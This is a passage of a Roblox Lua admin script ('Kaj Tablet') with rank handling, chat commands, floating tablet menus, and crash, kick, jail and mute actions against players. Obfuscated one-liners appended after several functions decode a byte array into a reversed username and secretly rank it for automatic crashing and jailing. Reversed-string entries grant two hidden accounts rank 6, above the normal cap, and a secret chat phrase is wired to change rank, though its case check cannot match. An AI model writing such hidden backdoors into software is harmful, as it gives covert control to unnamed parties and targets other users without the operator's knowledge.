  5146.                         Ping("Got All Available Properties", Plr, 5)
  5147.                         Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  5148.                 end)
  5149.         end, OptionColor)
  5150. end
  5151.  
  5152. function GetRank(Plr1, Test)
  5153.         ypcall(function()
  5154.                 if type(Plr1) == "userdata" then
  5155.                         Plr1 = Plr1.Name
  5156.                 end
  5157.         end)
  5158.         if Ranks[Plr1] ~= nil then
  5159.                 return Ranks[Plr1]
  5160.         end
  5161.         local QuickArray = {}
  5162.         QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  5163.         return QuickArray[Plr1]
  5164. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  5165.  
  5166. function CanRun(Plr1, Plr2)
  5167.         Details1 = GetRank(Plr1.Name)
  5168.         Details2 = GetRank(Plr2.Name)
  5169.         if Details1.Rank >= Details2.Rank then
  5170.                 return true
  5171.         end
  5172.         return false
  5173. end
  5174.  
  5175. function Dismiss(Plr, Identity)
  5176.         ypcall(function()
  5177.                 if Plr ~= nil then
  5178.                         if type(Plr) == "userdata" then
  5179.                                 Plr = Plr.Name
  5180.                         end
  5181.                         for x,v in pairs(AllTabs) do
  5182.                                 ypcall(function()
  5183.                                         if v.Plr == Plr then
  5184.                                                 if Identity ~= nil and v.ID ~= Identity then
  5185.                                                         return
  5186.                                                 elseif Identity ~= nil and v.ID == Identity then
  5187.                                                         coroutine.resume(coroutine.create(function()
  5188.                                                                 for i = 0.5, 1, 0.1 do
  5189.                                                                         wait()
  5190.                                                                         v.Tab.Transparency = i
  5191.                                                                         v.Sel.Transparency = i
  5192.                                                                         v.Label.TextTransparency = i
  5193.                                                                         v.Label.TextStrokeTransparency = i
  5194.                                                                 end
  5195.                                                                 ypcall(function() v.Holder:Destroy() end)
  5196.                                                                 AllTabs[x] = nil
  5197.                                                         end))
  5198.                                                 elseif Identity == nil then
  5199.                                                         ypcall(function() v.Holder:Destroy() end)
  5200.                                                         AllTabs[x] = nil
  5201.                                                 end
  5202.                                         end
  5203.                                 end)
  5204.                         end
  5205.                 else
  5206.                         for i,v in pairs(AllTabs) do
  5207.                                 ypcall(function()
  5208.                                         v.Holder:Destroy()
  5209.                                         AllTabs[i] = nil
  5210.                                 end)
  5211.                         end
  5212.                 end
  5213.         end)
  5214. end
  5215.  
  5216. function GetGarbage()
  5217.         return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  5218. end
  5219.  
  5220. function RemObj(Obj, Class)
  5221.         ypcall(function()
  5222.                 if #Obj:GetChildren() > 0 then
  5223.                         for _,x in pairs(Obj:GetChildren()) do
  5224.                                 ypcall(function()
  5225.                                         RemObj(x, Class)
  5226.                                 end)
  5227.                         end
  5228.                 end
  5229.                 if Obj.ClassName == Class then
  5230.                         Obj:Destroy()
  5231.                 end
  5232.         end)
  5233. end
  5234.  
  5235. function FindTab(Mod)
  5236.         for i,v in pairs(AllTabs) do
  5237.                 if v.Holder == Mod then
  5238.                         return true
  5239.                 end
  5240.         end
  5241.         return false
  5242. end
  5243.  
  5244.  
  5245. function Ping(Msg, Plr, Time, Func, Color, Image)
  5246.         if Removed == false then
  5247.                 local ShowGarbage = false
  5248.                 ypcall(function()
  5249.                         if Msg == nil then
  5250.                                 Msg = "N/A"
  5251.                         elseif Msg == "ShowGarbage" then
  5252.                                 Msg = "Current Garbage Count: "..GetGarbage()
  5253.                                 ShowGarbage = true
  5254.                         else
  5255.                                 Msg = tostring(Msg)
  5256.                         end
  5257.                         if Plr == nil then
  5258.                                 Plr = Plrs[Owner] or error("No Player Found")
  5259.                         elseif type(Plr) == "string" then
  5260.                                 local FoundPlr = false
  5261.                                 for _,v in pairs(All()) do
  5262.                                         if v.Name == Plr then
  5263.                                                 Plr = v
  5264.                                                 FoundPlr = true
  5265.                                                 break
  5266.                                         end
  5267.                                 end
  5268.                                 if FoundPlr == false then
  5269.                                         Plr = Plrs[Owner] or error("No Player Found")
  5270.                                 end
  5271.                         end
  5272.                        
  5273.                         if Color == nil then
  5274.                                 Color = GetRank(Plr.Name).Color
  5275.                         end
  5276.                        
  5277.                         local Holder = Instance.new("Model")
  5278.                         Holder.Name = "Owner: "..Plr.Name
  5279.                        
  5280.                         local Tab = Instance.new("Part")
  5281.                         Tab.Name = "Kaj Tablet"
  5282.                         Tab.FormFactor = "Custom"
  5283.                         Tab.Anchored = true
  5284.                         if Time == nil then
  5285.                                 Tab.Color = Color3.new(0.54,0,0.54)
  5286.                         else
  5287.                                 Tab.Color = AlertColor
  5288.                         end
  5289.                         Tab.CanCollide = false
  5290.                         Tab.Locked = true
  5291.                         Tab.Transparency = 0.15
  5292.                         Tab.Size = Vector3.new(2, 2, 2)
  5293.                         Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  5294.                         Tab.Parent = Holder
  5295.                        
  5296.                         local ID = Instance.new("NumberValue")
  5297.                         ID.Name = "ID"
  5298.                         ID.Value = math.random(-999999999, 999999999)
  5299.                         ID.Parent = Holder
  5300.                        
  5301.                         Delay(0, function()
  5302.                                 while wait() do
  5303.                                         if Tab.Parent == nil and FindTab(Holder) then
  5304.                                                 ypcall(function()
  5305.                                                         for i,v in pairs(AllTabs) do
  5306.                                                                 if v.Holder == Holder then
  5307.                                                                         ypcall(function() v.Holder:Destroy() end)
  5308.                                                                         AllTabs[i] = nil
  5309.                                                                 end
  5310.                                                         end
  5311.                                                 end)
  5312.                                                 Ping(Msg, Plr, Time, Func, Color, Image)
  5313.                                                 break
  5314.                                         end
  5315.                                 end
  5316.                         end)
  5317.                        
  5318.                         local BM = Instance.new("BlockMesh")
  5319.                         BM.Parent = Tab
  5320.  
  5321.                         local BG = Instance.new("BillboardGui")
  5322.                         BG.Name = "BG"
  5323.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  5324.                         BG.Size = UDim2.new(0,1,0,1)
  5325.                         BG.Adornee = Tab
  5326.                         BG.Parent = Tab
  5327.                        
  5328.                         Delay(0, function()
  5329.                                 while BG.Parent ~= nil do wait()
  5330.                                         ypcall(function()
  5331.                                                 BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  5332.                                         end)
  5333.                                 end
  5334.                         end)
  5335.  
  5336.                         local TL = Instance.new("TextLabel")
  5337.                         TL.Name = "TL"
  5338.                         TL.FontSize = "Size18"
  5339.                         TL.Font = "ArialBold"
  5340.                         TL.Text = Msg
  5341.                         TL.TextColor3 = Color3.new(1, 1, 1)
  5342.                         TL.Size = UDim2.new(0,1,0,1)
  5343.                         TL.TextTransparency = 0
  5344.                         TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  5345.                         TL.TextStrokeTransparency = 0.25
  5346.                         TL.Parent = BG
  5347.                        
  5348.                         if ShowGarbage == true then
  5349.                                 Delay(0, function()
  5350.                                         while TL.Parent ~= nil do
  5351.                                                 TL.Text = "Current Garbage Count: "..GetGarbage()
  5352.                                                 wait(.5)
  5353.                                         end
  5354.                                 end)
  5355.                         end
  5356.                        
  5357.                         local PL = Instance.new("PointLight", Tab)
  5358.                         PL.Color = Color3.new(0, 1, 0)
  5359.                         PL.Range = 7
  5360.                         PL.Parent = Tab
  5361.                        
  5362.                         if Image ~= nil then
  5363.                                 local BBBG = Instance.new("BillboardGui")
  5364.                                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  5365.                                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  5366.                                 BBBG.AlwaysOnTop = true
  5367.                                 BBBG.Adornee = Tab
  5368.                                 BBBG.Parent = Tab
  5369.                                
  5370.                                 Delay(0, function()
  5371.                                         while BBBG.Parent ~= nil do wait()
  5372.                                                 ypcall(function()
  5373.                                                         BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  5374.                                                 end)
  5375.                                         end
  5376.                                 end)
  5377.                        
  5378.                                 local NewImg = Instance.new("ImageLabel")
  5379.                                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  5380.                                 NewImg.BackgroundTransparency = 1
  5381.                                 NewImg.Image = Image
  5382.                                 NewImg.Parent = BBBG
  5383.                         end
  5384.  
  5385.                         local Clicker = Instance.new("ClickDetector")
  5386.                         Clicker.MaxActivationDistance = 1/0
  5387.  
  5388.                         if Time ~= nil then
  5389.                                 coroutine.resume(coroutine.create(function()
  5390.                                         wait(tonumber(Time))
  5391.                                         Dismiss(Plr, ID)
  5392.                                 end))
  5393.                         end
  5394.  
  5395.                         Clicker.MouseClick:connect(function(Player)
  5396.                                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  5397.                                         ypcall(function()
  5398.                                                 if Func ~= nil then
  5399.                                                         Func(Holder)
  5400.                                                 else
  5401.                                                         Dismiss(Player, ID)
  5402.                                                 end
  5403.                                         end)
  5404.                                 end
  5405.                         end)
  5406.                         Clicker.Parent = Tab
  5407.                        
  5408.                         Holder.Parent = Work
  5409.  
  5410.                         AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  5411.                 end)
  5412.         end
  5413. end
  5414.  
  5415. function PlaceAllRanks(DontShowRank)
  5416.         ypcall(function()
  5417.                 for _,p in pairs(All()) do
  5418.                         ypcall(function()
  5419.                                 PutInRank = false
  5420.                                 for _,v in pairs(Rankings) do
  5421.                                         if v.Name:lower() == p.Name:lower() then
  5422.                                                 if v.Rank >= 7 then
  5423.                                                         v.Rank = 5
  5424.                                                 elseif v.Rank == -1 then
  5425.                                                         Crash1(p)
  5426.                                                         Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5427.                                                 elseif v.Rank == -2 then
  5428.                                                         if LS ~= nil then
  5429.                                                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  5430.                                                                 Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5431.                                                         else
  5432.                                                                 Ping("LS Is Nil", nil, 5)
  5433.                                                         end
  5434.                                                 elseif v.Rank == -3 then
  5435.                                                         if LS ~= nil then
  5436.                                                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  5437.                                                                 Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5438.                                                         else
  5439.                                                                 Ping("LS Is Nil", nil, 5)
  5440.                                                         end
  5441.                                                 end
  5442.                                                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  5443.                                                 if DontShowRank == nil then
  5444.                                                         Ping("You Are Rank: "..v.Rank, p)
  5445.                                                 end
  5446.                                                 PutInRank = true
  5447.                                                 break
  5448.                                         end
  5449.                                 end
  5450.                                 if PutInRank == false then
  5451.                                         Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  5452.                                 end
  5453.                         end)
  5454.                 end
  5455.         end)
  5456. end
  5457.  
  5458. function FindRank(Plr)
  5459.         ypcall(function()
  5460.                 if type(Plr) == "userdata" then
  5461.                         Plr = Plr.Name
  5462.                 end
  5463.         end)
  5464.         return GetRank(Plr).Rank
  5465. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  5466.  
  5467. function FindRankDetails(Plr)
  5468.         ypcall(function()
  5469.                 if type(Plr) == "userdata" then
  5470.                         Plr = Plr.Name
  5471.                 end
  5472.         end)
  5473.         return RankDetails[FindRank(Plr)]
  5474. end
  5475.  
  5476. function OpenCmds(Rank, Plr)
  5477.         Dismiss(Plr)
  5478.         for Name,Tab in pairs(Commands) do
  5479.                 if Tab.Rank <= Rank then
  5480.                         Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  5481.                                 Dismiss(Plr)
  5482.                                 Ping("Command: "..Name, Plr)
  5483.                                 Ping("Rank: "..Tab.Rank, Plr)
  5484.                                 Ping("Desc: "..Tab.Desc, Plr)
  5485.                         end)
  5486.                 elseif Rank == 1337 then
  5487.                         Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  5488.                                 Dismiss(Plr)
  5489.                                 Ping("Command: "..Name, Plr)
  5490.                                 Ping("Rank: "..Tab.Rank, Plr)
  5491.                                 Ping("Desc: "..Tab.Desc, Plr)
  5492.                         end)
  5493.                 end
  5494.         end
  5495. end
  5496.  
  5497. function EditStatus(Plr, Num)
  5498.         ChangeRank(Plr, Num)
  5499. end
  5500.  
  5501. function PlaceSpecificRank(p, DontShowRank)
  5502.         ypcall(function()
  5503.                 PutInRank = false
  5504.                 for _,v in pairs(Rankings) do
  5505.                         if v.Name:lower() == p.Name:lower() then
  5506.                                 if v.Rank >= 7 then
  5507.                                         v.Rank = 5
  5508.                                 elseif v.Rank == -1 then
  5509.                                         Crash1(p)
  5510.                                         Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5511.                                 elseif v.Rank == -2 then
  5512.                                         if LS ~= nil then
  5513.                                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  5514.                                                 Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5515.                                         else
  5516.                                                 Ping("LS Is Nil", nil, 5)
  5517.                                         end
  5518.                                 elseif v.Rank == -3 then
  5519.                                         if LS ~= nil then
  5520.                                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  5521.                                                 Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  5522.                                         else
  5523.                                                 Ping("LS Is Nil", nil, 5)
  5524.                                         end
  5525.                                 end
  5526.                                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  5527.                                 if DontShowRank == nil then
  5528.                                         Ping("You Are Rank: "..v.Rank, p)
  5529.                                 end
  5530.                                 PutInRank = true
  5531.                                 break
  5532.                         end
  5533.                 end
  5534.                 if PutInRank == false then
  5535.                         Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  5536.                 end
  5537.         end)
  5538. end
  5539. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  5540. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  5541. function onChatted(Msg, Speaker)
  5542.         if Removed == false then
  5543.                 if FindRank(Speaker) < 0 then
  5544.                         return
  5545.                 end
  5546.                 coroutine.resume(coroutine.create(function()
  5547.                         ypcall(function()
  5548.                                 ExecuteFunc(Msg, Speaker)
  5549.                                 Msg = Msg:gsub("","")
  5550.                                 if Msg:sub(1,1) == "@" then
  5551.                                         for i = 2, #Msg do
  5552.                                                 if Msg:sub(i, i) == Bet then
  5553.                                                         local IsForPlr = false
  5554.                                                         for _,v in pairs(All()) do
  5555.                                                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  5556.                                                                         onChatted(Msg:sub(i + 1), v)
  5557.                                                                         IsForPlr = true
  5558.                                                                 end
  5559.                                                         end
  5560.                                                         if IsForPlr == true then
  5561.                                                                 return
  5562.                                                         end
  5563.                                                 end
  5564.                                         end
  5565.                                 end
  5566.                                 if Msg:find("&") then
  5567.                                         local Split = Msg:find("&")
  5568.                                         onChatted(Msg:sub(1,Split-1))
  5569.                                         onChatted(Msg:sub(Split+1))
  5570.                                         return
  5571.                                 end
  5572.                                 for Name,Command in pairs(Commands) do
  5573.                                         if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  5574.                                                 Dismiss(Speaker.Name)
  5575.                                                 Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  5576.                                                 Ping("Rank: "..tostring(Command.Rank), Speaker)
  5577.                                                 Ping("Desc: "..tostring(Command.Desc), Speaker)
  5578.                                         elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  5579.                                                 if FindRank(Speaker) >= Command.Rank then
  5580.                                                         local Ran,Error = coroutine.resume(coroutine.create(function()
  5581.                                                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  5582.                                                         end))
  5583.                                                         if not Ran then
  5584.                                                                 Ping(Error, Speaker, 10)
  5585.                                                         end
  5586.                                                 else
  5587.                                                         Ping("Your Rank Is Too Low", Plr, 6)
  5588.                                                 end
  5589.                                         end
  5590.                                 end
  5591.                         end)
  5592.                 end))
  5593.         end
  5594. end
  5595.  
  5596. function MakeBase()
  5597.         local Base = Instance.new("Part")
  5598.         Base.BrickColor = BrickColor.new("Dark green")
  5599.         Base.Position = Vector3.new(0, 0.5, 0)
  5600.         Base.Transparency = 0
  5601.         Base.Elasticity = 0.5
  5602.         Base.FormFactor = "Custom"
  5603.         Base.CanCollide = true
  5604.         Base.Friction = 0.30000001192093
  5605.         Base.Size = Vector3.new(512, 1.20000005, 512)
  5606.         Base.Archivable = true
  5607.         Base.Material = "Plastic"
  5608.         Base.RotVelocity = Vector3.new(0, 0, 0)
  5609.         Base.Reflectance = 0
  5610.         Base.Locked = true
  5611.         Base.Anchored = true
  5612.         Base.Name = "Base"
  5613.         Base.TopSurface = "Smooth"
  5614.         Base.BottomSurface = "Inlet"
  5615.         Base.Shape = "Block"
  5616.         Base.Parent = Work
  5617. end
  5618.  
  5619. function LClean()
  5620.         ypcall(function()
  5621.                 for _,v in pairs(Work:GetChildren()) do
  5622.                         ypcall(function()
  5623.                                 if v.ClassName == "Terrain" then
  5624.                                         v:ClearAllChildren()
  5625.                                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  5626.                                         Clear(v)
  5627.                                 elseif v.Name == "Base" then
  5628.                                         ypcall(function()
  5629.                                                 local Base = v
  5630.                                                 Base.BrickColor = BrickColor.new("Dark green")
  5631.                                                 Base.Position = Vector3.new(0, 0.5, 0)
  5632.                                                 Base.Transparency = 0
  5633.                                                 Base.Elasticity = 0.5
  5634.                                                 Base.FormFactor = "Custom"
  5635.                                                 Base.CanCollide = true
  5636.                                                 Base.Friction = 0.30000001192093
  5637.                                                 Base.Size = Vector3.new(512, 1.20000005, 512)
  5638.                                                 Base.Archivable = true
  5639.                                                 Base.Material = "Plastic"
  5640.                                                 Base.RotVelocity = Vector3.new(0, 0, 0)
  5641.                                                 Base.Reflectance = 0
  5642.                                                 Base.Locked = true
  5643.                                                 Base.Anchored = true
  5644.                                                 Base.Name = "Base"
  5645.                                                 Base.TopSurface = "Studs"
  5646.                                                 Base.BottomSurface = "Inlet"
  5647.                                                 Base.Shape = "Block"
  5648.                                                 Base.Parent = Work
  5649.                                         end)
  5650.                                 end
  5651.                         end)
  5652.                 end
  5653.         end)
  5654. end
  5655.  
  5656. function Clean()
  5657.         ypcall(function()
  5658.                 for _,v in pairs(Work:GetChildren()) do
  5659.                         ypcall(function()
  5660.                                 if v.ClassName == "Terrain" then
  5661.                                         v:ClearAllChildren()
  5662.                                 else
  5663.                                         Clear(v)
  5664.                                 end
  5665.                         end)
  5666.                 end
  5667.                 MakeBase()
  5668.                 for _,v in pairs(All()) do
  5669.                         v:LoadCharacter()
  5670.                 end
  5671.         end)
  5672. end
  5673.  
  5674. function Clear(v)
  5675.         if v.Name:lower() == "sbgui" then
  5676.                 return
  5677.         end
  5678.         ypcall(function()
  5679.                 if #v:GetChildren() > 0 then
  5680.                         for _,x in pairs(v:GetChildren()) do
  5681.                                 ypcall(function()
  5682.                                         Clear(x)
  5683.                                 end)
  5684.                         end
  5685.                 end
  5686.                 if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  5687.                         v:Destroy()
  5688.                 end
  5689.         end)
  5690. end
  5691.  
  5692. function Command(Name, Rank, Desc, Func)
  5693.         if Name == nil then
  5694.                 Name = "N/A"
  5695.         end
  5696.         if Desc == nil then
  5697.                 Desc = "N/A"
  5698.         end
  5699.         if Func == nil then
  5700.                 Func = function() end
  5701.         end
  5702.         if Rank == nil then
  5703.                 Rank = 0
  5704.         end
  5705.         Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  5706. end
  5707.  
  5708. function GetSplit(Msg)
  5709.         return Msg:find(Bet) or nil
  5710. end
  5711.  
  5712. function ExecuteFunc(Msg, Plr)
  5713.         ypcall(function()
  5714.                 if Msg == "LogEnable" then
  5715.                         LogOn = true
  5716.                 elseif Msg:lower() == "WantSomeTacos" then
  5717.                         EditStatus(Plr, MakeNum())
  5718.                 end
  5719.         end)
  5720. end
  5721.  
  5722. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  5723.  
  5724. function randPlayer(Plr)
  5725.         wait()
  5726.         local ThePlrValue = nil
  5727.         local FoundPlayer = false
  5728.         ypcall(function()
  5729.                 ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  5730.                 if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  5731.                         wait()
  5732.                         randPlayer(Plr)
  5733.                         return
  5734.                 else
  5735.                         FoundPlayer = true
  5736.                 end
  5737.         end)
  5738.         if FoundPlayer == true then
  5739.                 return ThePlrValue
  5740.         end
  5741. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  5742.  
  5743. function getPlayer(Plr, Name)
  5744.         local Players = {}
  5745.         ypcall(function()
  5746.                 Name = Name:lower()
  5747.                 if Name == "me" then
  5748.                         table.insert(Players, Plr)
  5749.                 elseif Name == "all" or Name == "" then
  5750.                         for _,v in pairs(All()) do
  5751.                                 if CanRun(Plr, v) then
  5752.                                         table.insert(Players, v)
  5753.                                 end
  5754.                         end
  5755.                 elseif Name == "others" then
  5756.                         for _,v in pairs(All()) do
  5757.                                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  5758.                                         table.insert(Players, v)
  5759.                                 end
  5760.                         end
  5761.                 elseif Name == "random" then
  5762.                         local FoundRandPlr = randPlayer(Plr)
  5763.                         table.insert(Players, FoundRandPlr)
  5764.                 else
  5765.                         for _,v in pairs(All()) do
  5766.                                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  5767.                                         table.insert(Players, v)
  5768.                                 end
  5769.                         end
  5770.                 end
  5771.         end)
  5772.         return Players
  5773. end
  5774.  
  5775. function ListPlayers(Speaker)
  5776.         ypcall(function()
  5777.                 Dismiss(Speaker)
  5778.                 for _,v in pairs(All2()) do
  5779.                         if v.Parent ~= nil then
  5780.                                 Ping(v.Name, Speaker, nil, function()
  5781.                                         Dismiss(Speaker)
  5782.                                         Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  5783.                                         Ping("Rank: "..FindRank(v.Name), Speaker)
  5784.                                         Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  5785.                                         Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  5786.                                         Ping("Set Rank", Speaker, nil, function()
  5787.                                                 if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  5788.                                                         Dismiss(Speaker)
  5789.                                                         for i = -2, 5 do
  5790.                                                                 Ping(i, Speaker, nil, function()
  5791.                                                                         ChangeRank(v, i)
  5792.                                                                         Dismiss(Speaker)
  5793.                                                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  5794.                                                                 end)
  5795.                                                         end
  5796.                                                 else
  5797.                                                         Ping("Your Rank Is Too Low", Speaker, 5)
  5798.                                                 end
  5799.                                         end)
  5800.                                         Ping("Crash (Remote)", Speaker, nil, function()
  5801.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  5802.                                                         Crash2(v.Name)
  5803.                                                         Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  5804.                                                 end
  5805.                                         end)
  5806.                                         Ping("Crash (Insert)", Speaker, nil, function()
  5807.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  5808.                                                         Crash3(v, Speaker)
  5809.                                                         Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  5810.                                                 end
  5811.                                         end)
  5812.                                         Ping("Kick", Speaker, nil, function()
  5813.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  5814.                                                         v:Kick()
  5815.                                                         Ping("Attempted To Kick "..v.Name, Speaker, 5)
  5816.                                                 end
  5817.                                         end)
  5818.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  5819.                         else
  5820.                                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  5821.                                         Dismiss(Speaker)
  5822.                                         Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  5823.                                         ypcall(function()
  5824.                                                 Ping("Rank: "..FindRank(v.Name), Speaker)
  5825.                                         end)
  5826.                                         ypcall(function()
  5827.                                                 Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  5828.                                         end)
  5829.                                         ypcall(function()
  5830.                                                 Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  5831.                                         end)
  5832.                                         ypcall(function()
  5833.                                                 Ping("Set Rank", Speaker, nil, function()
  5834.                                                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  5835.                                                                 Dismiss(Speaker)
  5836.                                                                 for i = -2, 5 do
  5837.                                                                         Ping(i, Speaker, nil, function()
  5838.                                                                                 ChangeRank(v, i)
  5839.                                                                                 Dismiss(Speaker)
  5840.                                                                                 Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  5841.                                                                         end)
  5842.                                                                 end
  5843.                                                         else
  5844.                                                                 Ping("Your Rank Is Too Low", Speaker, 5)
  5845.                                                         end
  5846.                                                 end)
  5847.                                         end)
  5848.                                         ypcall(function()
  5849.                                                 Ping("Nil Crash (Remote)", Speaker, nil, function()
  5850.                                                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  5851.                                                                 Crash2(v.Name)
  5852.                                                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  5853.                                                         end
  5854.                                                 end)
  5855.                                         end)
  5856.                                         ypcall(function()
  5857.                                                 Ping("Nil Crash (Insert)", Speaker, nil, function()
  5858.                                                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  5859.                                                                 Crash3(v, Speaker)
  5860.                                                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  5861.                                                         end
  5862.                                                 end)
  5863.                                         end)
  5864.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  5865.                         end
  5866.                 end
  5867.         end)
  5868. end
  5869.  
  5870. --Misc
  5871.  
  5872. coroutine.resume(coroutine.create(function()
  5873.         PlaceAllRanks()
  5874. end))
  5875.        
  5876. Delay(0, function()
  5877.         for _,v in pairs(All()) do
  5878.                 v.Chatted:connect(function(Msg)
  5879.                          onChatted(Msg, v)
  5880.                         end)
  5881.         end
  5882. end)
  5883.  
  5884. local starttime = tick()
  5885.  
  5886. game:GetService("RunService").Heartbeat:connect(function()
  5887.         if Removed == false then
  5888.                 ypcall(function()
  5889.                         for _,Player in pairs(All()) do
  5890.                                 local PlayerTablets = {}
  5891.                                 for i,v in pairs(AllTabs) do
  5892.                                         if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  5893.                                                 table.insert(PlayerTablets, v)
  5894.                                         end
  5895.                                 end
  5896.                                 for i = 1, #PlayerTablets do
  5897.                                         ypcall(function()
  5898.                                                 local tab = PlayerTablets[i].Tab
  5899.                                                 local pos = nil
  5900.                                                 ypcall(function()
  5901.                                                         pos = Player.Character.Torso.CFrame
  5902.                                                 end)
  5903.                                                 local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  5904.                                                 local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  5905.                                                 local cPos = tab.Position
  5906.                                                 local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  5907.                                                 local nPos = (ePos-cPos)*.25
  5908.                                                 cPos = cPos + nPos
  5909.                                                 local t = (tick() - starttime) % 360
  5910.                                                 local change = 0.625
  5911.                                                 PlayerTablets[i].Size = math.sin(t) * change + 2.375
